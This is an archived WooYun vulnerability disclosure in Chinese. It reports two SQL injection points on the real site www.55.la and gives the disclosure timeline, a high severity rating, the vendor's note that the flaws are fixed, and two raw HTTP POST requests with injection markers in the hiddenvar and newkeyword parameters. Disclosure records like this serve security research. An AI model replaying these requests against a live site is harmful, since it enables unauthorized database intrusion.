乌云(WooYun.org)历史漏洞查询---http://wy.zone.ci/
乌云 Drops 文章在线浏览--------http://drop.zone.ci/
2015-01-03: 细节已通知厂商并且等待厂商处理中 2015-01-04: 厂商已经确认,细节仅向厂商公开 2015-01-14: 细节向核心白帽子及相关领域专家公开 2015-01-24: 细节向普通白帽子公开 2015-02-03: 细节向实习白帽子公开 2015-02-17: 细节向公众公开
我拉网某2处注入
第一处,参数:hiddenvar
POST /run/index_do.php HTTP/1.1Content-Length: 701Content-Type: multipart/form-data; boundary=-----AcunetixBoundary_ISHHVOWXSDReferer: http://www.55.la:80/Cookie: PHPSESSID=fefch5si80jnngd13kmlk76717Host: www.55.laConnection: Keep-aliveAccept-Encoding: gzip,deflateUser-Agent: Mozilla/5.0 (Linux; U; Android 4.0.3; en-us; LG-L160L Build/IML74K) AppleWebkit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30Accept: */*-------AcunetixBoundary_ISHHVOWXSDContent-Disposition: form-data; name="B1"####-------AcunetixBoundary_ISHHVOWXSDContent-Disposition: form-data; name="bprice"0-------AcunetixBoundary_ISHHVOWXSDContent-Disposition: form-data; name="cn"99-------AcunetixBoundary_ISHHVOWXSDContent-Disposition: form-data; name="en"99-------AcunetixBoundary_ISHHVOWXSDContent-Disposition: form-data; name="hiddenvar"1*-------AcunetixBoundary_ISHHVOWXSDContent-Disposition: form-data; name="T1"2##2## ##########-------AcunetixBoundary_ISHHVOWXSDContent-Disposition: form-data; name="T2"55.La ########## ######################-------AcunetixBoundary_ISHHVOWXSD--
第二处,参数:newkeyword
POST /run/search_do.php HTTP/1.1Content-Length: 54Content-Type: application/x-www-form-urlencodedReferer: http://www.55.la:80/Cookie: PHPSESSID=fefch5si80jnngd13kmlk76717Host: www.55.laConnection: Keep-aliveAccept-Encoding: gzip,deflateUser-Agent: Mozilla/5.0 (Linux; U; Android 4.0.3; en-us; LG-L160L Build/IML74K) AppleWebkit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30Accept: */*class=&newclassid=1&newkeyword=1*%22&newtypeid=0&type=
凑齐300可好?
危害等级:高
漏洞Rank:18
确认时间:2015-01-04 16:21
已经修复,请测试
暂无